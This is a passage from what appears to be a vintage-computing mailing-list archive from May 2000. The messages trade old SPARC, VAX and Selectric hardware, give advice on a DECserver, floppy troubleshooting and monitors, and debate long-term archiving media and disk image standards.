18:53:15 2005 Subject: IBM I/O Selectric/Posting Machine (Was RE: Atari 800 keyboards) Message-ID: <8763AE987517D2118C0500A0C9AB234C2BAD77@TEGNTSERVER> > That's one of the PRACTICAL uses of a keyboard actuator! > Never mind trying to use a Selectric as a printer, the REAL use of a > Dynatyper or KGS-80 is for copying megabytes of text to exercise a > keyboard. God, the dynatyper, I remember that... On a related note, I have an old I/O Selectric, not the generalized model, but one that appears to have been a teller terminal of some kind. Perhaps it was even used by a vehicle license branch. Anyway, I never could get it to function with the IBM controller that came with it (which I think put out EBCDIC), but it also came with an aftermarket controller (which I think put out ASCII). If anyone has been searching high and low for one of these, I'd probably let go of it for the right price or trade. Shipping will be a killer, tho; it's very heavy. -doug q From foo at siconic.com Wed May 31 13:13:28 2000 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 18:53:15 2005 Subject: OT: Archiving data (LONG) In-Reply-To: Message-ID: On Wed, 31 May 2000 allisonp@world.std.com wrote: > > take to store even one floppy disk? And then, where are all these cards > > going to go? Where does one store millions of punched cards? Who's going > > to pay for this? > > First, whose twisting your arm? It was a thought, and only that! I'm just commenting on the impracticality of it all. > Again reread tape is not cards! the information density of tape FYI is > higher than cards and laks the "ordering" problem if dropped. Also no > rule says 10 punches per linear inch is required, you could go 16 wide > and 20 per inch upping the denity fourfold. Or better yet optically > print the image (density limits already mentiond are 100-1000x). Still impractical. > Dream a bit, maybe a cheap idea will emerge. I'm always dreaming, baby! Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From lemay at cs.umn.edu Wed May 31 14:21:00 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:53:15 2005 Subject: Finds In-Reply-To: from "Zane H. Healy" at "May 31, 2000 10:51:08 am" Message-ID: <200005311921.OAA00462@caesar.cs.umn.edu> > > I sure wish I could find a Sparc 10 for $25! My Sparc 2 cost me over $200 > (although it has the 32MB S-Bus card in it for a total of 96MB :^). > I'll sell you my sparc 2 for $200 any day. Heck, I MIGHT even sell you my SPARCclassic X (converted back to a SPARCclassic), with 96 meg ram, for $200... I have too much stuff as it is... Of course, if anyone is serious, and is interested in some IPX's, I would definitely consider offers. I have several IPX's. And for the serously deranged, if you need Sun 3 mice, i'm your man... i have a small box full of them, something like 25-30 mice or so... No, i dont have optical mouse pads. Ah well, I'm digressing from the topic. Nothing good can come of that... -Lawrence LeMay From mikeford at socal.rr.com Wed May 31 14:50:35 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:53:15 2005 Subject: Finds In-Reply-To: References: <200005311431.KAA00695@bg-tc-ppp542.monmouth.com> <20000531142113.96331.qmail@hotmail.com> from Jason McBrien at "May 31, 2000 10:26:05 am" Message-ID: >I sure wish I could find a Sparc 10 for $25! My Sparc 2 cost me over $200 >(although it has the 32MB S-Bus card in it for a total of 96MB :^). I really feel sorry for you poor souls lost out in the boonies. Couple weeks ago I was at a scrap place with TWO pallets of Tatung UltraSparcs (not $25, but not too bad either. Didn't last long too.). I wish I had known it was OK to bring a few home. From kenn at bluetree.ie Wed May 31 14:34:09 2000 From: kenn at bluetree.ie (Kenn Humborg) Date: Sun Feb 27 18:53:15 2005 Subject: VAX-11? and some C64 stuff In-Reply-To: <20000531181140.34079.qmail@hotmail.com> Message-ID: > Also, you'll need the special > DEC monitor that goes with whatever station you are buying, you > can't use a > chincy PC compatable monitor with a VAXStation. However, a good quality multi-sync (i.e. modern) PC monitor with BNC inputs will probably work fine. I'm using an Iiyama Visionmaster 17 with a VAXstation 3500 (VCB02 video adapter) with no trouble. (And I have my PC plugged into the VGA input, so I can switch between VAX and PC using the monitor's front panel buttons.) Later, Kenn From kenn at bluetree.ie Wed May 31 14:36:08 2000 From: kenn at bluetree.ie (Kenn Humborg) Date: Sun Feb 27 18:53:15 2005 Subject: VAX-11? and some C64 stuff In-Reply-To: <14645.24792.416588.194832@phaduka.neurotica.com> Message-ID: > In another week or so, a terminal server will be connected to all > the console ports, as well as the VT320 terminal. Then I won't even > need to be downstairs (or in the house at all) to gain console access. This reminds me of something... I've got a DECserver 90L+ terminal server. I'd like to connect a terminal to one port and a couple of VAX console ports to other ports. Is there any way to 'connect' through from one port on the terminal server to another (without having to log into a host that will do reverse LAT and connect back out to the terminal server again)? Later, Kenn From pechter at pechter.dyndns.org Wed May 31 14:41:04 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:53:15 2005 Subject: Finds In-Reply-To: <200005311921.OAA00462@caesar.cs.umn.edu> from Lawrence LeMay at "May 31, 2000 02:21:00 pm" Message-ID: <200005311941.PAA01155@bg-tc-ppp903.monmouth.com> > > > > I sure wish I could find a Sparc 10 for $25! My Sparc 2 cost me over $200 > > (although it has the 32MB S-Bus card in it for a total of 96MB :^). > > > > I'll sell you my sparc 2 for $200 any day. Heck, I MIGHT even sell you > my SPARCclassic X (converted back to a SPARCclassic), with 96 meg ram, > for $200... I have too much stuff as it is... > > Of course, if anyone is serious, and is interested in some IPX's, I > would definitely consider offers. I have several IPX's. And for the > serously deranged, if you need Sun 3 mice, i'm your man... i have a > small box full of them, something like 25-30 mice or so... No, i dont > have optical mouse pads. > > Ah well, I'm digressing from the topic. Nothing good can come of that... > > -Lawrence LeMay > > -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From mcguire at neurotica.com Wed May 31 14:42:01 2000 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 18:53:15 2005 Subject: VAX-11? and some C64 stuff In-Reply-To: RE: VAX-11? and some C64 stuff (Kenn Humborg) References: <20000531181140.34079.qmail@hotmail.com> Message-ID: <14645.27401.814577.472922@phaduka.neurotica.com> On May 31, Kenn Humborg wrote: > > Also, you'll need the special > > DEC monitor that goes with whatever station you are buying, you > > can't use a > > chincy PC compatable monitor with a VAXStation. > > However, a good quality multi-sync (i.e. modern) PC monitor > with BNC inputs will probably work fine. I'm using an > Iiyama Visionmaster 17 with a VAXstation 3500 (VCB02 video > adapter) with no trouble. > > (And I have my PC plugged into the VGA input, so I can switch > between VAX and PC using the monitor's front panel buttons.) The good thing, though, about using "original" DEC monitors on machines like those is that you can get a wonderfully HUGE tube with a deliriously tight dot pitch and fabulous video quality for next to nothing because they're fixed-frequency. The PeeCee world's inability to develop video systems that don't require changing sync rates every time the wind blows has afforded the Real Workstation world a wonderful advantage...a plethora of gorgeous, huge monitors that can be had for a song. :-) -Dave McGuire From healyzh at aracnet.com Wed May 31 14:48:07 2000 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:53:15 2005 Subject: Finds In-Reply-To: <14645.24153.554761.420112@phaduka.neurotica.com> References: Re: Finds (Zane H. Healy) <20000531142113.96331.qmail@hotmail.com> <14645.17171.265685.828635@phaduka.neurotica.com> Message-ID: Dave McGuire wrote: >On May 31, Zane H. Healy wrote: >> Of course since I have a 60Mhz RS/6000 on my desk at work and refuse to >> give it up for a state of the art single or dual processor PC my opinions >> of acceptable speed might be a little outside the norm :^) >> >> Remember for most things stability is more important that speed. > > While I agree 100%, it would seem that the unfortunate proliferation >of PeeCees have all but killed that mindset. I suspect that most of >us fight very hard to keep it alive. > But...on the term "acceptable speed"...isn't that completely >subjective? I mean, what's acceptable to you might be too slow for >Joe Blow, or uselessly fast for Jane Doe...Intel would have us believe >that we all do the exact same thing with our computers, and that the >only possible thing that we should find acceptable is *their* brand of >high-performance...i.e. blindingly fast until you try to do more than >one thing at a time, then it goes into the toilet. > > Man, if your RS/6000 does the job, and you like it, then keep it, >and more power to you! The thing to remember is to choose the software you use with care. On the RS/6000 in question Netscape 3.0 has acceptable performance, however, Netscape 4.0 does not. As a result I normally use Netscape 3.0, if necessary I'll use either Netscape 4.0 or else I'll use Metaframe to run Internet Exploder. My main problem isn't the speed, it's the 8-bit graphics. I've come to really like Metaframe even though I totally hate Windows and refuse to use it for the simple fact it allows me to use MS Lookout for mail and calendaring (I'm still pissed we moved off of the multi-platform calendaring software which did everything we needed and was *easy* to use). The other thing is it's all in how you're using the system. In the case of the RS/6000 it's an intelligent X-Term that's rock solid (I can't afford to have my desktop system crash in my job), and if I goof on a program I'm writing I only lock my own system up (I've done that a couple times). The fact I can't afford for it to crash is why I've been able to justify keeping the system. If I'm working on a writing project on my own time I'm quite happy to use something like a Mac SE/30 running MS Word 5.1, though I prefer my PowerBook 540c running Word 6.0.1 as it has features I *really* like, even though it's a pig. On my G4/450 I run Word '98, but only because it's more compatible with the newer versions of Mac OS. I need a *fast* Mac at home because I like doing things like Graphics and Audio processing. It's nice having a fairly fast UNIX (333Mhz PII) or OpenVMS (433Mhz 21164) box at home, but I don't need the really the state of the art really fast ones in the case of them because of how I use them. Geez, what a ramble, and look at the time. Gotta head into work. Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From pechter at pechter.dyndns.org Wed May 31 14:49:40 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:53:15 2005 Subject: Finds In-Reply-To: from Mike Ford at "May 31, 2000 09:32:13 am" Message-ID: <200005311949.PAA01237@bg-tc-ppp903.monmouth.com> > >A Sparcstation 10 -- Fantastic. Got to find something like that for > >Solaris 8. > > Will 8 run on a 10, my wife wants a home system to play with instead of the > E250 she has at the office, and told me she needs at least a 5 (which is a > much newer system than a 10 or 20 right?). > Solaris 8 just dropped support for Sun4 and Sun4c architectures (actually -- I think 2.6 was trhe last for the Sun4 architecture.) Sun4m (Sparc10/20) and Sun4u (Ultra) are supported in 8. Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From foo at siconic.com Wed May 31 13:59:24 2000 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 18:53:15 2005 Subject: OT: Archiving data (LONG) In-Reply-To: Message-ID: On Wed, 31 May 2000, William Donzelli wrote: > The choice of medium is really unimportant, and as pointed out, kind of > silly when one deals in even a few megabytes (how much mylar tape is that > again?). Embrace this new technology - it really does work well. The old > technology just doesn't cut the mustard anymore. On the other hand, what happens when/if civilization falls into another dark period (world war, nuclear holocaust, whatever-doomsday-scenario)? Longevity of the medium becomes an issue if you have a bleak outlook for our future. You also have to count on future generations having the same devotion that our current little group does with regards to archiving old software. I'm an optimistic pessismist (in other words, a realist). I don't think we can always count on future generations to carry on the tradition and continue moving the archives from one RAID network to the next in perpetuity. And who knows, maybe one day the electricity will run out. Hence, the need for a longterm physical solution. One that will require no maintenance from people. Something that can sit in a cave undiscovered for millenia to be uncovered at some future date and leave the future discoverers in awe of our primitive technology. If someone wants to buy and then punch millions of feet of mylar punch tape with the archive that we will eventually create, then find an out of the way cave somewhere to hide it all in, be my guest. My prefered course of action is to keep it digital until some long lasting (near infinity), incredibly high density (megabytes/gigabytes per square inch) magnetic medium can be invented. Shit, this would be so much easier if the whole planet just got sucked into a black hole. Then it wouldn't matter anymore ;) Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From ethan_dicks at yahoo.com Wed May 31 15:04:45 2000 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 18:53:15 2005 Subject: Microfische readers available Message-ID: <20000531200445.1128.qmail@web611.mail.yahoo.com> With all this talk of archival media, I'm reminded that I have a couple of fische readers that I'd like move out (I aquired a double reader as an upgrade). They are a pair of Bell+Howell ABR-917s. I have copies of the operation manual to go with them. The copyright date is 1989. Any takers? Given the size and fragility, pick-ups are preferred over shipping. Shipping would be based on cost of packing materials and actual UPS charges (not MBX Etc) from Columbus, OH (43201). -ethan ===== Even though my old e-mail address is no longer going to vanish, please note my new public address: erd@iname.com The original webpage address is still going away. The permanent home is: http://penguincentral.com/ See http://ohio.voyager.net/ for details. __________________________________________________ Do You Yahoo!? Send instant messages & get email alerts with Yahoo! Messenger. http://im.yahoo.com/ From thompson at mail.athenet.net Wed May 31 15:08:44 2000 From: thompson at mail.athenet.net (Paul Thompson) Date: Sun Feb 27 18:53:15 2005 Subject: VAX-11? and some C64 stuff In-Reply-To: Message-ID: Set the ports connected to the console(s) up as a LAT service and connect to that service from another port on the DECserver or host. See help DEFINE SERVICE or SET SERVICE You would need to set the console connected ports up as remote access (as opposed to local access) On Wed, 31 May 2000, Kenn Humborg wrote: > > In another week or so, a terminal server will be connected to all > > the console ports, as well as the VT320 terminal. Then I won't even > > need to be downstairs (or in the house at all) to gain console access. > > This reminds me of something... > > I've got a DECserver 90L+ terminal server. I'd like > to connect a terminal to one port and a couple of VAX > console ports to other ports. Is there any way to > 'connect' through from one port on the terminal server > to another (without having to log into a host that will > do reverse LAT and connect back out to the terminal > server again)? > > Later, > Kenn > > From healyzh at aracnet.com Wed May 31 15:17:04 2000 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 18:53:15 2005 Subject: Finds In-Reply-To: <20000531190346.16843.qmail@hotmail.com> from "Jason McBrien" at May 31, 2000 03:08:37 PM Message-ID: <200005312017.NAA29427@shell1.aracnet.com> > > I've got several machines I use for different purposes. I've got a 700MHz > Athlon with Windoze 'cause Unreal Tournament just sucks on a DECStation 5000 > :) But the DEC makes a really nice webserver, and the SPARCStation 10 can > run Netscape SuiteSpot servers OK but I wouldn't want to run Communicator on > it. > (Netscape is comparatively slow on my Ultra 10 at work) A place for > everything and everything in it's place. Strange, I'd think Netscape Communicator would do OK on a SS10, especially with a second processor. The best machine I've run it on has been a dual 400Mhz Celeron system with 256MB RAM running Solaris 7, and that was with only UDMA33 drives and an old Matrox Millenium II graphics card. It seems to me like Netscape runs the best under Solaris. I run it on Mac OS, AIX, OpenVMS, Linux, Solaris, Tru64, and Windows (don't think I missed any there). Zane From healyzh at aracnet.com Wed May 31 15:20:38 2000 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 18:53:15 2005 Subject: Finds In-Reply-To: from "Mike Ford" at May 31, 2000 11:50:35 AM Message-ID: <200005312020.NAA30113@shell1.aracnet.com> > >I sure wish I could find a Sparc 10 for $25! My Sparc 2 cost me over $200 > >(although it has the 32MB S-Bus card in it for a total of 96MB :^). > > I really feel sorry for you poor souls lost out in the boonies. Couple > weeks ago I was at a scrap place with TWO pallets of Tatung UltraSparcs > (not $25, but not too bad either. Didn't last long too.). I wish I had > known it was OK to bring a few home. Well, I didn't just buy it for that, I got it when that's about what they were worth. The only reason I payed as much as I did was because of the SCSI S-Bus card in it. I *really* want a SS20 w/dual SM71's or SM81's, and something like 192MB RAM, but then I look at what I can get in an x86 box for that price and just shake my head. I might like Sparcs, but x86 is the only platform Solaris makes sense on! Of course my dream Sparc would be a Dual Ultra 2 :^) Zane From healyzh at aracnet.com Wed May 31 15:25:58 2000 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 18:53:15 2005 Subject: VAX-11? and some C64 stuff In-Reply-To: <14645.27401.814577.472922@phaduka.neurotica.com> from "Dave McGuire" at May 31, 2000 03:42:01 PM Message-ID: <200005312025.NAA30819@shell1.aracnet.com> > The good thing, though, about using "original" DEC monitors on > machines like those is that you can get a wonderfully HUGE tube with a > deliriously tight dot pitch and fabulous video quality for next to > nothing because they're fixed-frequency. > > The PeeCee world's inability to develop video systems that don't > require changing sync rates every time the wind blows has afforded the > Real Workstation world a wonderful advantage...a plethora of gorgeous, > huge monitors that can be had for a song. :-) > > -Dave McGuire > BUT, if you're short on Desktop space, one really nice 21" multisync monitor is your best friend. Well, that, X-Windows, and a digital KVM switch. Remember all those beautiful big monitors take up a lot of space, generate a lot of heat, and weigh a lot. Zane From lbutzel at home.com Wed May 31 14:46:12 2000 From: lbutzel at home.com (Leo Butzel) Date: Sun Feb 27 18:53:15 2005 Subject: Info on the Dynalogic Hyperion Message-ID: <020401bfcb38$e0affbe0$e3d30618@sttln1.wa.home.com> Looking for info on the Dynalogic Hyperion, a "portable" DOS machine manufactures around 1983. At least the one I have is 1983. it was designed and initially built in Ottawa, Canada. Hyperion was acquired in about 1983 by Bytec, who was later bought by I think a Quebec company called Comterm. Anyway, mine has stopped working: The machine still boots but no image is displayed on its 7" diag screen. Hence I am looking for service info and/or persons who have worked on the machine. Any leads would be most appreciated. Leo Butzel Seattle, WA lbutzel@home.com From aw288 at osfn.org Wed May 31 15:42:43 2000 From: aw288 at osfn.org (William Donzelli) Date: Sun Feb 27 18:53:15 2005 Subject: OT: Archiving data (LONG) In-Reply-To: Message-ID: > On the other hand, what happens when/if civilization falls into another > dark period (world war, nuclear holocaust, whatever-doomsday-scenario)? Spread out the data - world wide. I've been in computing centers (well, one) that was designed for a nuclear holocaust. If a war comes, I think that at least one mirror out in Itchybutt, North Dakoda or wherever, will survive. It may be isolated, and may be down for some time, but it will be there. Of course, reading old TRS-80 files will be the least of your concerns. > Longevity of the medium becomes an issue if you have a bleak outlook for > our future. You also have to count on future generations having the same > devotion that our current little group does with regards to archiving old > software. There will be. Once the museum folk start to seriously study something like old computers, they never let go. Never. Just try to think of something, anything, that was studied in a historical context once, but not anymore. And, as stuff gets older, the studies get more serious. The good thing is that the museum folk _have_ started seriously looking into old computers. The ball, as they say, is rolling... > I'm an optimistic pessismist (in other words, a realist). I don't think > we can always count on future generations to carry on the tradition and > continue moving the archives from one RAID network to the next in > perpetuity. See the above paragraph. Museum folk are very conservative, very careful, and look far into the future. For example, a friend on the Pampanito (WW2 submarine on display in the Bay Area) is very confident that the work they are doing on the boat will be appreciated in 1000 years. > And who knows, maybe one day the electricity will run out. Electricity is of no importance. The information content is. Electricity may be "obsolete" some day, if superconductors deliver what they promise, but historical information never goes obsolete. The next medium does not matter. > Hence, the need for a longterm physical solution. One that will require > no maintenance from people. Something that can sit in a cave undiscovered > for millenia to be uncovered at some future date and leave the future > discoverers in awe of our primitive technology. There is nothing wrong with taking "snapshots" of the archives for long term storage. None at all. But it does have to be practical, and should not be viewed as the standard to which all such snapshots are made. In other words, even the medium the snapshots are taken in should evolve, and use the latest-greatest thing. > My prefered course of action is to keep it digital until some long lasting > (near infinity), incredibly high density (megabytes/gigabytes per square > inch) magnetic medium can be invented. That sounds great. I would wager that today's high-rel hard disks are already in the "long lasting incredibly high density (megabytes/gigabytes per square inch)" category. William Donzelli aw288@osfn.org From PasserM at umkc.edu Wed May 31 15:45:27 2000 From: PasserM at umkc.edu (Passer, Michael) Date: Sun Feb 27 18:53:15 2005 Subject: OSI C4P MF floppy drive - troubleshooting Message-ID: <95A711A70065D111B58C00609451555C0346B7DC@umkc-mail02.wins.umkc.edu> In addition to Mr. Willig's C1P (thanks!), I now have a C4P MF with which I am having floppy troubles. When I was a kid, I couldn't afford disk drives, so I'm not entirely sure what to do. - The machine works with a known good drive (an MPI from the C1P MF). However, it does not work with either of its own two drives. - All the power supplies are good--they all work with the known good C1P MF's drive. - When I answer "D" to "H/D/M?", the drive starts to step, then just stops. This happens with either drive (strapped to DS0), and with either just one or both drives connected. Are there some obvious things that I should try? I know I'm going to come off as a Philistine to some here, but are there any modern drives I can use (e.g. 360K double sided drives)? Does anyone know the secrets of the drive jumpers? (The C4P MF's drives have no indication of manufacturer anywhere visible.) I appreciate any help or advice you can share--thanks! --Michael Passer From cmcmanis at mcmanis.com Wed May 31 15:46:11 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:53:15 2005 Subject: SPARC machines wanted (was Re: Finds) In-Reply-To: References: <200005311431.KAA00695@bg-tc-ppp542.monmouth.com> <20000531142113.96331.qmail@hotmail.com> Message-ID: <4.3.2.7.2.20000531134400.00c31280@208.226.86.10> At 11:50 AM 5/31/00 -0800, Mike wrote: >I wish I had known it was OK to bring a few home. Ok, for all you surplus hounds out there, in my wish list are a SPARCStation LX and a SPARCServer 1000 w/4 CPUs. I'm pretty sure they are both 4m architecture although the former was a single CPU only. If you find one and are wondering if someone could use it, let me know. --Chuck From mikeford at socal.rr.com Wed May 31 16:57:21 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:53:15 2005 Subject: VAX-11? and some C64 stuff In-Reply-To: <200005312025.NAA30819@shell1.aracnet.com> References: <14645.27401.814577.472922@phaduka.neurotica.com> from "Dave McGuire" at May 31, 2000 03:42:01 PM Message-ID: >BUT, if you're short on Desktop space, one really nice 21" multisync monitor >is your best friend. Well, that, X-Windows, and a digital KVM switch. >Remember all those beautiful big monitors take up a lot of space, generate a >lot of heat, and weigh a lot. My 4 year old CTX 17" flaked out the other day, and my plan for a replacement is a nice 3 or so year old Sun SVGA 21" with some sort of second monitor, maybe a portrait or even a 21" greyscale (two monitors on a mac, or more works seamlessly). Any opinions on the Sun 20D10 monitors? or a E20E? I also found a couple HP 1097C monitors I need to make a space for, but can't use on the newer macs I don't think? (haven't tried my sync on green adapter yet). From ard at p850ug1.demon.co.uk Wed May 31 13:05:21 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:53:15 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <200005310024.RAA29348@civic.hal.com> from "Dwight Elvey" at May 30, 0 05:24:42 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2968 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000531/b53abf1b/attachment-0001.ksh From ard at p850ug1.demon.co.uk Wed May 31 13:12:08 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:53:15 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <00b101bfca97$2cfe50c0$0400c0a8@EAHOME> from "Richard Erlacher" at May 30, 0 06:28:42 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1369 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000531/dda7c6ff/attachment-0001.ksh From ard at p850ug1.demon.co.uk Wed May 31 13:17:18 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:53:15 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <200005310037.RAA29540@civic.hal.com> from "Dwight Elvey" at May 30, 0 05:37:16 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1942 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000531/88b26e43/attachment-0001.ksh From ard at p850ug1.demon.co.uk Wed May 31 13:21:13 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:53:15 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <20000531005849.CPGO2991.mailhost.kal.ameritech.net@paulrsm> from "Paul R. Santa-Maria" at May 30, 0 08:56:30 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1001 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000531/01879a6a/attachment-0001.ksh From ard at p850ug1.demon.co.uk Wed May 31 13:35:44 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:53:15 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <002a01bfcac4$d3330440$0400c0a8@EAHOME> from "Richard Erlacher" at May 30, 0 11:55:28 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1477 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000531/c3cca357/attachment-0001.ksh From ard at p850ug1.demon.co.uk Wed May 31 15:49:54 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:53:15 2005 Subject: OT: Archiving data (LONG) In-Reply-To: from "Sellam Ismail" at May 31, 0 09:34:32 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2594 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000531/cac483e6/attachment-0001.ksh From pechter at pechter.dyndns.org Wed May 31 16:06:35 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:53:15 2005 Subject: SPARC machines wanted (was Re: Finds) In-Reply-To: <4.3.2.7.2.20000531134400.00c31280@208.226.86.10> from Chuck McManis at "May 31, 2000 01:46:11 pm" Message-ID: <200005312106.RAA01496@bg-tc-ppp903.monmouth.com> > At 11:50 AM 5/31/00 -0800, Mike wrote: > >I wish I had known it was OK to bring a few home. > > Ok, for all you surplus hounds out there, in my wish list are a > SPARCStation LX and a SPARCServer 1000 w/4 CPUs. I'm pretty sure they are > both 4m architecture although the former was a single CPU only. If you find > one and are wondering if someone could use it, let me know. > > --Chuck Well, I'll settle for an LX, or a Classic or a 10 or 20. I'll be willing to unload an Opus Sparcstation2 clone, Color Montitor, and IPX and ELC. Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From jbmcb at hotmail.com Wed May 31 16:14:07 2000 From: jbmcb at hotmail.com (Jason McBrien) Date: Sun Feb 27 18:53:15 2005 Subject: Finds References: <200005312020.NAA30113@shell1.aracnet.com> Message-ID: <20000531210909.38980.qmail@hotmail.com> I don't know, those Ultra 80 Quad 450MHz CPU Boxes look niiiiccceee. You're right about the overall cost/performance ratio of the older hardware, but you also have to take into consideration how stable the machines are. Take a $100 low end SPARCStation and $100 of used pentium hardware. You'd probably get a faster Pentium machine (Maybe a P-90) but take a close look at the craftsmanship of the machine. Sun's run FOREVER, they just don't fail due to shoddy hardware designs. Early Pentium designs were REALLY buggy, even the later models had nasty bugs (f00f anyone?) I know several companies that kept their 486 servers, even when they were terribly out of date, because the 486 design had been battle tested for so many years. Keep in mind that the performance in price/performance also includes multitasking and stability concerns. > Well, I didn't just buy it for that, I got it when that's about what they > were worth. The only reason I payed as much as I did was because of the > SCSI S-Bus card in it. > > I *really* want a SS20 w/dual SM71's or SM81's, and something like 192MB > RAM, but then I look at what I can get in an x86 box for that price and just > shake my head. I might like Sparcs, but x86 is the only platform Solaris > makes sense on! > > Of course my dream Sparc would be a Dual Ultra 2 :^) > > Zane From CLASSICCMP at trailing-edge.com Wed May 31 16:15:45 2000 From: CLASSICCMP at trailing-edge.com (CLASSICCMP@trailing-edge.com) Date: Sun Feb 27 18:53:15 2005 Subject: OT: Archiving data (LONG) Message-ID: <000531171545.20200d36@trailing-edge.com> >> I think mike was talking about storing data on photographic film, like >> many of the microfiche data storage systems already in use, but intended >> for direct computer reading. Many films will resolve 100 line pairs >> per millimeter; this directly translates to about 3.2 MBytes per >> square inch. >Yes, but how long can we expect the film to last? Decades, if processed sloppily, or centuries, if processed archivally. The availability and maintainability of the readout systems becomes, IMHO, the deciding factor. If the data is stored as human-readable text this isn't so much a problem, until languages change or are forgotten at least. Tim. From foo at siconic.com Wed May 31 15:26:54 2000 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 18:53:15 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: Message-ID: On Wed, 31 May 2000, Tony Duell wrote: > I see no reason not to keep the original disks. For one thing, they're a > backup of the archive. Maybe not a very good one, but still a possible > backup. For another thing, they might be of interest to historians (how > the disks of the period were made, how they were labelled, etc). I awlays keep the original diskettes, and always grab whatever original disks I find in thrift (charity) shops for the labelling and boxes. They are artifacts that represent the culture surrounding computing. My desire to archive the software is of course dervied from the knowledge that someday those disks will simply be interesting pieces of plastic: mere representations of the software they used to hold. On a somewhat related note, there's a great website--the Disk Sleeve Archive. Unfortunately, the URL I have for it is no longer valid? http://www.cyberden.com/sleeves/index.html > I'm not saying don't make the archive. I'm saying make the archive, look > after it, but keep the original disks _as well_. Then use those to run > the machine they were designed to run. If necessary, make a new disk from > the archived data (which doesn't damage the archive, of course). I see no problem using the original diskette for demonstration purposes. It's not like the data will stick around if you don't use it. But I'd still make a copy of the disk for general use. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From chris at mainecoon.com Wed May 31 16:26:49 2000 From: chris at mainecoon.com (Chris Kennedy) Date: Sun Feb 27 18:53:15 2005 Subject: SPARC machines wanted (was Re: Finds) References: <200005311431.KAA00695@bg-tc-ppp542.monmouth.com> <20000531142113.96331.qmail@hotmail.com> <4.3.2.7.2.20000531134400.00c31280@208.226.86.10> Message-ID: <39358399.908B9EC4@mainecoon.com> Chuck McManis wrote: > Ok, for all you surplus hounds out there, in my wish list are a > SPARCStation LX and a SPARCServer 1000 w/4 CPUs. I'm pretty sure they are > both 4m architecture although the former was a single CPU only. Actually, the SPARCserver 1000 is a 4d. It's on the "may no longer be supported in a future release" list in the Solaris 8 Hardware Supplement.... -- Chris Kennedy chris@mainecoon.com http://www.mainecoon.com PGP fingerprint: 4E99 10B6 7253 B048 6685 6CBC 55E1 20A3 108D AB97 From foo at siconic.com Wed May 31 15:34:17 2000 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 18:53:15 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: Message-ID: I just considered another bit of data that might be useful to store in the Archive Header. If one were to have to read the raw bytes off of a track due to some non-standard format, it would be helpful to know at what rate the disk drive that read the disk was spinning so that if and when that archive was used to re-create the original disk, the writing drive could be adjusted to match the speed at which it was read. This is pretty imperative. A quick test can be done before the disk is read to determine the RPM. Of course, having an optimally tuned drive would be recommended if one is to be serious about creating software archives for posterity. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of 